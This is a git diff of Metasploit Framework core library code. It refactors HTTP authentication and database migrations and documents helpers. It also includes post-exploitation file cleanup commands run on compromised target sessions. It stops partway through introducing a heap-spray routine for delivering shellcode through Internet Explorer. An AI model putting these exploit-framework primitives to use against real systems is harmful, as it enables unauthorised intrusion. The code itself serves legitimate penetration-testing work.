a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.3.0.gemspec +++ b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.0.gemspec @@ -2,11 +2,11 @@ Gem::Specification.new do |s| s.name = "metasploit_data_models" - s.version = "0.3.0" + s.version = "0.6.0" s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= s.authors = ["Trevor Rosen"] - s.date = "2012-11-01" + s.date = "2013-03-06" s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions." s.email = ["trevor_rosen@rapid7.com"] s.executables = ["mdm_console"] @@ -21,20 +21,26 @@ Gem::Specification.new do |s| if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then s.add_development_dependency(%q, [">= 0"]) - s.add_runtime_dependency(%q, [">= 0"]) + s.add_development_dependency(%q, [">= 0"]) + s.add_development_dependency(%q, [">= 0"]) + s.add_runtime_dependency(%q, [">= 3.2.10"]) s.add_runtime_dependency(%q, [">= 0"]) s.add_runtime_dependency(%q, [">= 0"]) s.add_runtime_dependency(%q, [">= 0"]) else s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 3.2.10"]) s.add_dependency(%q, [">= 0"]) s.add_dependency(%q, [">= 0"]) s.add_dependency(%q, [">= 0"]) end else s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 3.2.10"]) s.add_dependency(%q, [">= 0"]) s.add_dependency(%q, [">= 0"]) s.add_dependency(%q, [">= 0"]) diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 32b9eae5fa..36e45a38cd 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -63,7 +63,7 @@ module Exploit exploit = oexploit.replicant Msf::Simple::Framework.simplify_module( exploit, false ) yield(exploit) if block_given? - + # Import options from the OptionStr or Option hash. exploit._import_extra_options(opts) @@ -74,14 +74,14 @@ module Exploit # Verify the options exploit.options.validate(exploit.datastore) - + # Start it up driver = ExploitDriver.new(exploit.framework) # Initialize the driver instance driver.exploit = exploit driver.payload = exploit.framework.payloads.create(opts['Payload']) - + # Set the force wait for session flag if the caller requested force # blocking. This is so that passive exploits can be blocked on from # things like the cli. @@ -137,9 +137,9 @@ module Exploit # Save the job identifier this exploit is running as exploit.job_id = driver.job_id - + # Propagate this back to the caller for console mgmt - oexploit.job_id = exploit.job_id + oexploit.job_id = exploit.job_id rescue ::Interrupt exploit.error = $! raise $! diff --git a/lib/msf/core/auxiliary/crawler.rb b/lib/msf/core/auxiliary/crawler.rb index 36e963ecbc..168a130d5b 100644 --- a/lib/msf/core/auxiliary/crawler.rb +++ b/lib/msf/core/auxiliary/crawler.rb @@ -22,7 +22,9 @@ module Auxiliary::HttpCrawler Opt::Proxies, OptInt.new('MAX_PAGES', [ true, 'The maximum number of pages to crawl per URL', 500]), OptInt.new('MAX_MINUTES', [ true, 'The maximum number of minutes to spend on each URL', 5]), - OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]) + OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]), + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication']) ], self.class ) @@ -118,8 +120,9 @@ module Auxiliary::HttpCrawler :info => "" }) - if datastore['BasicAuthUser'] - t[:http_basic_auth] = [ "#{datastore['BasicAuthUser']}:#{datastore['BasicAuthPass']}" ].pack("m*").gsub(/\s+/, '') + if datastore['USERNAME'] and datastore['USERNAME'] != '' + t[:username] = datastore['USERNAME'].to_s + t[:password] = datastore['PASSWORD'].to_s end if datastore['HTTPCookie'] @@ -278,9 +281,8 @@ module Auxiliary::HttpCrawler opts[:cookies] = t[:cookies] end - if t[:http_basic_auth] - opts[:http_basic_auth] = t[:http_basic_auth] - end + opts[:username] = t[:username] || '' + opts[:password] =t[:password] || '' opts end diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index 816604a95b..3072a44907 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -50,7 +50,8 @@ module Auxiliary::Login \n\*$ | (Login ?|User ?)(name|): | ^\s*\<[a-f0-9]+\>\s*$ | - ^\s*220.*FTP + ^\s*220.*FTP| + not\ allowed\ to\ log\ in )/mix @waiting_regex = /(?: diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index 48428b720c..3c83af5f9a 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -179,10 +179,11 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => details[:category] || opts[:confidence] || 100, :owner => self } + info[:confidence] = calculate_confidence( info ) + report_web_vuln( info ) print_good " FOUND(#{mode.to_s.upcase}) URL(#{location})" @@ -211,10 +212,11 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => details[:category] || opts[:confidence] || 100, :owner => self } + info[:confidence] = calculate_confidence( info ) + report_web_vuln( info ) print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})" @@ -278,7 +280,7 @@ module Auxiliary::Web report_web_vuln( info ) print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})" + - " PARAMETER(#{element.altered}) VALUES(#{element.params})" + " PARAMETER(#{element.altered}) VALUES(#{element.params})" print_good " PROOF(#{proof})" end diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 0a59187c02..166370abbc 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -69,6 +69,7 @@ class Auxiliary::Web::HTTP attr_reader :framework attr_accessor :redirect_limit + attr_accessor :username , :password def initialize( opts = {} ) @opts = opts.dup @@ -84,8 +85,8 @@ class Auxiliary::Web::HTTP @request_opts = {} if opts[:auth].is_a? Hash - @request_opts['basic_auth'] = [ opts[:auth][:user].to_s + ':' + - opts[:auth][:password] ]. pack( 'm*' ).gsub( /\s+/, '' ) + @username = opts[:auth][:user].to_s + @password = opts[:auth][:password].to_s end self.redirect_limit = opts[:redirect_limit] || 20 @@ -105,7 +106,10 @@ class Auxiliary::Web::HTTP opts[:target].port, {}, opts[:target].ssl, - 'SSLv23' + 'SSLv23', + nil, + username, + password ) c.set_config({ @@ -266,10 +270,12 @@ class Auxiliary::Web::HTTP end def _request( url, opts = {} ) - body = opts[:body] + body = opts[:body] timeout = opts[:timeout] || 10 - method = opts[:method].to_s.upcase || 'GET' - url = url.is_a?( URI ) ? url : URI( url.to_s ) + method = opts[:method].to_s.upcase || 'GET' + url = url.is_a?( URI ) ? url : URI( url.to_s ) + + rex_overrides = opts.delete( :rex ) || {} param_opts = {} @@ -285,14 +291,19 @@ class Auxiliary::Web::HTTP end opts = @request_opts.merge( param_opts ).merge( - 'uri' => url.path || '/', - 'method' => method, + 'uri' => url.path || '/', + 'method' => method, 'headers' => headers.merge( opts[:headers] || {} ) - ) + # Allow for direct rex overrides + ).merge( rex_overrides ) opts['data'] = body if body c = connect + if opts['username'] and opts['username'] != '' + c.username = opts['username'].to_s + c.password = opts['password'].to_s + end Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out diff --git a/lib/msf/core/auxiliary/wmapmodule.rb b/lib/msf/core/auxiliary/wmapmodule.rb index fe55d7747e..7af067ed3e 100644 --- a/lib/msf/core/auxiliary/wmapmodule.rb +++ b/lib/msf/core/auxiliary/wmapmodule.rb @@ -71,7 +71,7 @@ module Auxiliary::WmapModule else res << datastore['VHOST'] end - res << ":" + wmap_target_port + res << ":" + wmap_target_port.to_s res end diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 7e0bc736ba..bd6d0e4d81 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -699,7 +699,7 @@ class DBManager if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] mod_fullname = sess_data[:datastore]['ParentModule'] mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name - else + else mod_name = mod.name mod_fullname = mod.fullname end @@ -719,7 +719,7 @@ class DBManager vuln_info[:service] = service if service vuln = framework.db.report_vuln(vuln_info) - + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] via_exploit = sess_data[:datastore]['ParentModule'] else @@ -738,7 +738,7 @@ class DBManager } framework.db.report_exploit_success(attempt_info) - + end s @@ -871,7 +871,7 @@ class DBManager ref.to_s end }) - + # Try find a matching vulnerability vuln = find_vuln_by_refs(ref_objs, host, svc) end @@ -890,7 +890,7 @@ class DBManager attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] vuln.vuln_attempts.create(attempt_info) - + # Correct the vuln's associated service if necessary if svc and vuln.service_id.nil? vuln.service = svc @@ -909,12 +909,12 @@ class DBManager attempt_info[:vuln_id] = vuln.id if vuln attempt_info[:session_id] = opts[:session_id] if opts[:session_id] attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] - + if svc attempt_info[:port] = svc.port attempt_info[:proto] = svc.proto end - + if port and svc.nil? attempt_info[:port] = port attempt_info[:proto] = prot || "tcp" @@ -937,7 +937,7 @@ class DBManager timestamp = opts.delete(:timestamp) freason = opts.delete(:fail_reason) - fdetail = opts.delete(:fail_detail) + fdetail = opts.delete(:fail_detail) username = opts.delete(:username) mname = opts.delete(:module) @@ -968,7 +968,7 @@ class DBManager ref.to_s end }) - + # Try find a matching vulnerability vuln = find_vuln_by_refs(ref_objs, host, svc) end @@ -1003,7 +1003,7 @@ class DBManager attempt_info[:port] = svc.port attempt_info[:proto] = svc.proto end - + if port and svc.nil? attempt_info[:port] = port attempt_info[:proto] = prot || "tcp" @@ -1018,7 +1018,7 @@ class DBManager ::ActiveRecord::Base.connection_pool.with_connection { return if not vuln info = {} - + # Opts can be keyed by strings or symbols ::Mdm::VulnAttempt.column_names.each do |kn| k = kn.to_sym @@ -1037,7 +1037,7 @@ class DBManager ::ActiveRecord::Base.connection_pool.with_connection { return if not host info = {} - + # Opts can be keyed by strings or symbols ::Mdm::VulnAttempt.column_names.each do |kn| k = kn.to_sym @@ -1623,7 +1623,7 @@ class DBManager # If a match is found on a vulnerability with no associated service, # update that vulnerability with our service information. This helps # prevent dupes of the same vuln found by both local patch and - # service detection. + # service detection. if rids and rids.length > 0 vuln = find_vuln_by_refs(rids, host, service) vuln.service = service if vuln @@ -1651,7 +1651,7 @@ class DBManager else vuln = host.vulns.find_by_name(name) end - + unless vuln vinf = { @@ -1660,7 +1660,7 @@ class DBManager :info => info } - vinf[:service_id] = service.id if service + vinf[:service_id] = service.id if service vuln = Mdm::Vuln.create(vinf) end end @@ -1681,7 +1681,7 @@ class DBManager # Handle vuln_details parameters report_vuln_details(vuln, details) if details - + vuln } end @@ -4196,9 +4196,9 @@ class DBManager # Takes an array of vuln hashes, as returned by the NeXpose rawxml stream # parser, like: # [ - # {"id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>[{"source"=>"BID", "value"=>"10600"}, ...]} - # {"id"=>"windows-zotob-c", severity="8", "refs"=>[{"source"=>"BID", "value"=>"14513"}, ...]} - # ] + # {"id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>[{"source"=>"BID", "value"=>"10600"}, ...]} + # {"id"=>"windows-zotob-c", severity="8", "refs"=>[{"source"=>"BID", "value"=>"14513"}, ...]} + # ] # and transforms it into a struct, containing :id, :refs, :title, and :severity # # Other attributes can be added later, as needed. @@ -5095,7 +5095,7 @@ class DBManager # # This method normalizes an incoming service name to one of the # the standard ones recognized by metasploit - # + # def service_name_map(proto) return proto unless proto.kind_of? String case proto.downcase @@ -5163,11 +5163,11 @@ class DBManager # There is no place the NBE actually stores the plugin name used to # scan. You get "Security Note" or "Security Warning," and that's it. def import_nessus_nbe(args={}, &block) - data = args[:data] + nbe_data = args[:data] wspace = args[:wspace] || workspace bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - nbe_copy = data.dup + nbe_copy = nbe_data.dup # First pass, just to build the address map. addr_map = {} @@ -5183,7 +5183,7 @@ class DBManager addr_map[hname] = addr end - data.each_line do |line| + nbe_data.each_line do |line| r = line.split('|') next if r[0] != 'results' hname = r[2] diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 914d126c71..726eb682f7 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -56,9 +56,6 @@ class DBManager # Flag to indicate database migration has completed attr_accessor :migrated - # Array of additional migration paths - attr_accessor :migration_paths - # Flag to indicate that modules are cached attr_accessor :modules_cached @@ -69,7 +66,6 @@ class DBManager self.framework = framework self.migrated = false - self.migration_paths = [ ::File.join(Msf::Config.install_root, "data", "sql", "migrate") ] self.modules_cached = false self.modules_caching = false @@ -84,13 +80,6 @@ class DBManager initialize_database_support end - # - # Add additional migration paths - # - def add_migration_path(path) - self.migration_paths.push(path) - end - # # Do what is necessary to load our database support # @@ -101,8 +90,7 @@ class DBManager require "active_record" - # Provide access to ActiveRecord models shared w/ commercial versions - require "metasploit_data_models" + initialize_metasploit_data_models # Patches issues with ActiveRecord require "msf/core/patches/active_record" @@ -167,6 +155,20 @@ class DBManager $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ end + # Loads Metasploit Data Models and adds its migrations to migrations paths. + # + # @return [void] + def initialize_metasploit_data_models + # Provide access to ActiveRecord models shared w/ commercial versions + require "metasploit_data_models" + + metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join( + 'db', + 'migrate' + ) + ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_pathname.to_s + end + # # Create a new database sink and initialize it # @@ -279,45 +281,31 @@ class DBManager end end + # Migrate database to latest schema version. # - # Migrate database to latest schema version + # @param verbose [Boolean] see ActiveRecord::Migration.verbose + # @return [Array error + self.error = error + elog("DB.migrate threw an exception: #{error}") + dlog("Call stack:\n#{error.backtrace.join "\n"}") end end - success = true - begin - - ::ActiveRecord::Base.connection_pool.with_connection { - ActiveRecord::Migration.verbose = verbose - ActiveRecord::Migrator.migrate(temp_dir, nil) - } - rescue ::Exception => e - self.error = e - elog("DB.migrate threw an exception: #{e}") - dlog("Call stack:\n#{e.backtrace.join "\n"}") - success = false - end - - ::FileUtils.rm_rf(temp_dir) - - return true + return ran end def workspace=(workspace) @@ -497,6 +485,14 @@ class DBManager m.targets.each_index do |i| bits << [ :target, { :index => i, :name => m.targets[i].name.to_s } ] + if m.targets[i].platform + m.targets[i].platform.platforms.each do |name| + bits << [ :platform, { :name => name.to_s.split('::').last.downcase } ] + end + end + if m.targets[i].arch + bits << [ :arch, { :name => m.targets[i].arch.to_s } ] + end end if (m.default_target) @@ -525,7 +521,7 @@ class DBManager res[:stance] = m.passive? ? "passive" : "aggressive" end - res[:bits] = bits + res[:bits] = bits.uniq res end diff --git a/lib/msf/core/exploit/dcerpc.rb b/lib/msf/core/exploit/dcerpc.rb index 51b11c738b..ff700984be 100644 --- a/lib/msf/core/exploit/dcerpc.rb +++ b/lib/msf/core/exploit/dcerpc.rb @@ -21,7 +21,7 @@ module Exploit::Remote::DCERPC DCERPCPacket = Rex::Proto::DCERPC::Packet DCERPCClient = Rex::Proto::DCERPC::Client DCERPCResponse = Rex::Proto::DCERPC::Response - DCERPCUUID = Rex::Proto::DCERPC::UUID + DCERPCUUID = Rex::Proto::DCERPC::UUID NDR = Rex::Encoder::NDR diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 2a17254de7..12ef03efb2 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -22,7 +22,9 @@ module Exploit::FileDropper # Meterpreter should do this automatically as part of # fs.file.rm(). Until that has been implemented, remove the # read-only flag with a command. - session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) + if session.platform =~ /win/ + session.shell_command_token(%Q|attrib.exe -r #{win_file}|) + end session.fs.file.rm(file) print_good("Deleted #{file}") true @@ -54,7 +56,7 @@ module Exploit::FileDropper # # Record file as needing to be cleaned up # - # @param [Array] files List of paths on the target that should + # @param files [Array] List of paths on the target that should # be deleted during cleanup. Each filename should be either a full # path or relative to the current working directory of the session # (not necessarily the same as the cwd of the server we're @@ -93,7 +95,9 @@ module Exploit::FileDropper true #rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE, ::Rex::Post::Meterpreter::RequestError => e rescue ::Exception => e - vprint_error("Failed to delete #{file}: #{e.to_s}") + vprint_error("Failed to delete #{file}: #{e}") + elog("Failed to delete #{file}: #{e.class}: #{e}") + elog("Call stack:\n#{e.backtrace.join("\n")}") false end end diff --git a/lib/msf/core/exploit/ftpserver.rb b/lib/msf/core/exploit/ftpserver.rb index 48517b3862..dadbb31dcd 100644 --- a/lib/msf/core/exploit/ftpserver.rb +++ b/lib/msf/core/exploit/ftpserver.rb @@ -26,11 +26,13 @@ module Exploit::Remote::FtpServer ], Msf::Exploit::Remote::FtpServer) end + # (see Msf::Exploit#setup) def setup super @state = {} end + # (see TcpServer#on_client_connect) def on_client_connect(c) @state[c] = { :name => "#{c.peerhost}:#{c.peerport}", @@ -46,6 +48,25 @@ module Exploit::Remote::FtpServer c.put "220 FTP Server Ready\r\n" end + # Dispatches client requests to command handlers. + # + # Handlers should be named +on_client_command_*+, ending with a + # downcased FTP verb, e.g. +on_client_command_user+. If no handler + # exists for the given command, returns a generic default response. + # + # @example Handle SYST requests + # class Metasploit4 < Msf::Exploit + # include Msf::Exploit::Remote::FtpServer + # ... + # def on_client_command_syst(cmd_conn, arg) + # print_status("Responding to SYST request") + # buf = build_exploit_buffer(cmd_conn) + # cmd_conn.put("215 Unix Type: #{buf}\r\n") + # end + # end + # + # @param (see TcpServer#on_client_data) + # @return (see TcpServer#on_client_data) def on_client_data(c) data = c.get_once return if not data @@ -184,6 +205,15 @@ module Exploit::Remote::FtpServer end + # Create a socket for the protocol data, either PASV or PORT, + # depending on the client. + # + # @see http://tools.ietf.org/html/rfc3659 RFC 3659 + # @see http://tools.ietf.org/html/rfc959 RFC 959 + # @param c [Socket] Control connection socket + # + # @return [Socket] A connected socket for the data connection + # @return [nil] on failure def establish_data_connection(c) begin Timeout.timeout(20) do diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 4d4fd787a6..a156bc4e3a 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -46,10 +46,8 @@ module Exploit::Remote::HttpClient OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests', Rex::Proto::Http::Client::DefaultUserAgent ]), - OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']), - OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']), - OptString.new('DigestAuthUser', [false, 'The HTTP username to specify for digest authentication']), - OptString.new('DigestAuthPassword', [false, 'The HTTP password to specify for digest authentication']), + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), @@ -147,6 +145,9 @@ module Exploit::Remote::HttpClient dossl = ssl end + client_username = opts['username'] || datastore['USERNAME'] || '' + client_password = opts['password'] || datastore['PASSWORD'] || '' + nclient = Rex::Proto::Http::Client.new( rhost, rport.to_i, @@ -156,14 +157,15 @@ module Exploit::Remote::HttpClient }, dossl, ssl_version, - proxies + proxies, + client_username, + client_password ) # Configure the HTTP client with the supplied parameter nclient.set_config( 'vhost' => self.vhost(), 'agent' => datastore['UserAgent'], - 'basic_auth' => self.basic_auth, 'uri_encode_mode' => datastore['HTTP::uri_encode_mode'], 'uri_full_url' => datastore['HTTP::uri_full_url'], 'pad_method_uri_count' => datastore['HTTP::pad_method_uri_count'], @@ -184,7 +186,15 @@ module Exploit::Remote::HttpClient 'pad_post_params_count' => datastore['HTTP::pad_post_params_count'], 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], - 'header_folding' => datastore['HTTP::header_folding'] + 'header_folding' => datastore['HTTP::header_folding'], + 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], + 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], + 'send_lm' => datastore['NTLM::SendLM'], + 'send_ntlm' => datastore['NTLM::SendNTLM'], + 'SendSPN' => datastore['NTLM::SendSPN'], + 'UseLMKey' => datastore['NTLM::UseLMKey'], + 'domain' => datastore['DOMAIN'], + 'DigestAuthIIS' => datastore['DigestAuthIIS'] ) # If this connection is global, persist it @@ -276,242 +286,9 @@ module Exploit::Remote::HttpClient # # Combine the user/pass into an auth string for the HTTP Client # - def basic_auth - return if not datastore['BasicAuthUser'] - datastore['BasicAuthUser'] + ":" + (datastore['BasicAuthPass'] || '') - end - - # - # Connect to the server, and perform NTLM authentication for this session. - # Note the return value is [resp,c], so the caller can have access to both - # the last response, and the connection itself -- this is important since - # NTLM auth is bound to this particular TCP session. - # - # TODO: Fix up error messaging a lot more -- right now it's pretty hard - # to tell what all went wrong. - # - def send_http_auth_ntlm(opts={}, timeout = 20) - #ntlm_message_1 = "NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=" - ntlm_options = { - :signing => false, - :usentlm2_session => datastore['NTLM::UseNTLM2_session'], - :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], - :send_lm => datastore['NTLM::SendLM'], - :send_ntlm => datastore['NTLM::SendNTLM'] - } - - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = datastore['DOMAIN'] - - ntlm_message_1 = "NTLM " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name, - workstation_name, - ntlmssp_flags)) - to = opts[:timeout] || timeout - begin - c = connect(opts) - - # First request to get the challenge - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'GET', - 'headers' => { 'Authorization' => ntlm_message_1 }})) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate'] - - # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NTLM ([A-Z0-9\x2b\x2f=]+)/i)[1] - return [nil,nil] unless ntlm_challenge - - - #old and simplier method but not compatible with windows 7/2008r2 - #ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge) - #ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true}) - - ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) - - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - default_name = blob_data[:default_name] || '' - #netbios domain - default_domain = blob_data[:default_domain] || '' - #dns name - dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - - spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - - resp_lm, - resp_ntlm, - client_challenge, - ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key, - domain_name, default_name, default_domain, - dns_host_name, dns_domain_name, chall_MsvAvTimestamp, - spnopt, ntlm_options) - - ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'], - resp_lm, resp_ntlm, '', ntlmssp_flags) - ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) - - # Send the response - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'GET', - 'headers' => { 'Authorization' => "NTLM #{ntlm_message_3}"}})) - resp = c.send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [resp,c] - - rescue ::Errno::EPIPE, ::Timeout::Error - end - end - - def send_digest_request_cgi(opts={}, timeout=20) - @nonce_count = 0 - - return [nil,nil] if not (datastore['DigestAuthUser'] or opts['DigestAuthUser']) - to = opts['timeout'] || timeout - - digest_user = datastore['DigestAuthUser'] || opts['DigestAuthUser'] || "" - digest_password = datastore['DigestAuthPassword'] || opts['DigestAuthPassword'] || "" - - method = opts['method'] - path = opts['uri'] - iis = true - if (opts['DigestAuthIIS'] == false or datastore['DigestAuthIIS'] == false) - iis = false - end - - begin - @nonce_count += 1 - - resp = opts['response'] - - if not resp - # Get authentication-challenge from server, and read out parameters required - c = connect(opts) - r = c.request_cgi(opts.merge({ - 'uri' => path, - 'method' => method })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - if resp.code != 401 - return resp - end - return [nil,nil] unless resp.headers['WWW-Authenticate'] - end - - # Don't anchor this regex to the beginning of string because header - # folding makes it appear later when the server presents multiple - # WWW-Authentication options (such as is the case with IIS configured - # for Digest or NTLM). - resp['www-authenticate'] =~ /Digest (.*)/ - - parameters = {} - $1.split(/,[[:space:]]*/).each do |p| - k, v = p.split("=", 2) - parameters[k] = v.gsub('"', '') - end - - qop = parameters['qop'] - - if parameters['algorithm'] =~ /(.*?)(-sess)?$/ - algorithm = case $1 - when 'MD5' then Digest::MD5 - when 'SHA1' then Digest::SHA1 - when 'SHA2' then Digest::SHA2 - when 'SHA256' then Digest::SHA256 - when 'SHA384' then Digest::SHA384 - when 'SHA512' then Digest::SHA512 - when 'RMD160' then Digest::RMD160 - else raise Error, "unknown algorithm \"#{$1}\"" - end - algstr = parameters["algorithm"] - sess = $2 - else - algorithm = Digest::MD5 - algstr = "MD5" - sess = false - end - - a1 = if sess then - [ - algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), - parameters['nonce'], - @cnonce - ].join ':' - else - "#{digest_user}:#{parameters['realm']}:#{digest_password}" - end - - ha1 = algorithm.hexdigest(a1) - ha2 = algorithm.hexdigest("#{method}:#{path}") - - request_digest = [ha1, parameters['nonce']] - request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop - request_digest << ha2 - request_digest = request_digest.join ':' - - # Same order as IE7 - auth = [ - "Digest username=\"#{digest_user}\"", - "realm=\"#{parameters['realm']}\"", - "nonce=\"#{parameters['nonce']}\"", - "uri=\"#{path}\"", - "cnonce=\"#{@cnonce}\"", - "nc=#{'%08x' % @nonce_count}", - "algorithm=#{algstr}", - "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"", - # The spec says the qop value shouldn't be enclosed in quotes, but - # some versions of IIS require it and Apache accepts it. Chrome - # and Firefox both send it without quotes but IE does it this way. - # Use the non-compliant-but-everybody-does-it to be as compatible - # as possible by default. The user can override if they don't like - # it. - if qop.nil? then - elsif iis then - "qop=\"#{qop}\"" - else - "qop=#{qop}" - end, - if parameters.key? 'opaque' then - "opaque=\"#{parameters['opaque']}\"" - end - ].compact - - headers ={ 'Authorization' => auth.join(', ') } - headers.merge!(opts['headers']) if opts['headers'] - - - # Send main request with authentication - r = c.request_cgi(opts.merge({ - 'uri' => path, - 'method' => method, - 'headers' => headers })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - - return [resp,c] - - rescue ::Errno::EPIPE, ::Timeout::Error - end + def basic_auth(username, password) + auth_str = Rex::Text.encode_base64("#{username}:#{password}") + "Basic #{auth_str}" end ## @@ -539,23 +316,18 @@ module Exploit::Remote::HttpClient # Returns a modified version of the URI that: # 1. Always has a starting slash # 2. Removes all the double slashes - # 3. Removes the trailing slash # - def normalize_uri(str) + def normalize_uri(*strs) + new_str = strs * "/" + + new_str = new_str.gsub!("//", "/") while new_str.index("//") + # Makes sure there's a starting slash - unless str.to_s[0,1] == "/" - str = "/" + str.to_s + unless new_str[0,1] == '/' + new_str = '/' + new_str end - # Removes all double slashes - str = str.gsub!("//", "/") while str.index("//") - - # Makes sure there's no trailing slash - unless str.length == 1 - str = str.gsub(/\/+$/, '') - end - - str + new_str end # diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 326ae2fd6a..8cb75c490a 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -792,6 +792,70 @@ protected return js end + # + # This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty) + # function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's + # publication on "DEPS – Precise Heap Spray on Firefox and IE10". + # + # The "sprayHeap" JavaScript function supports the following arguments: + # shellcode => The shellcode to spray in JavaScript. + # objId => Optional. The ID for a
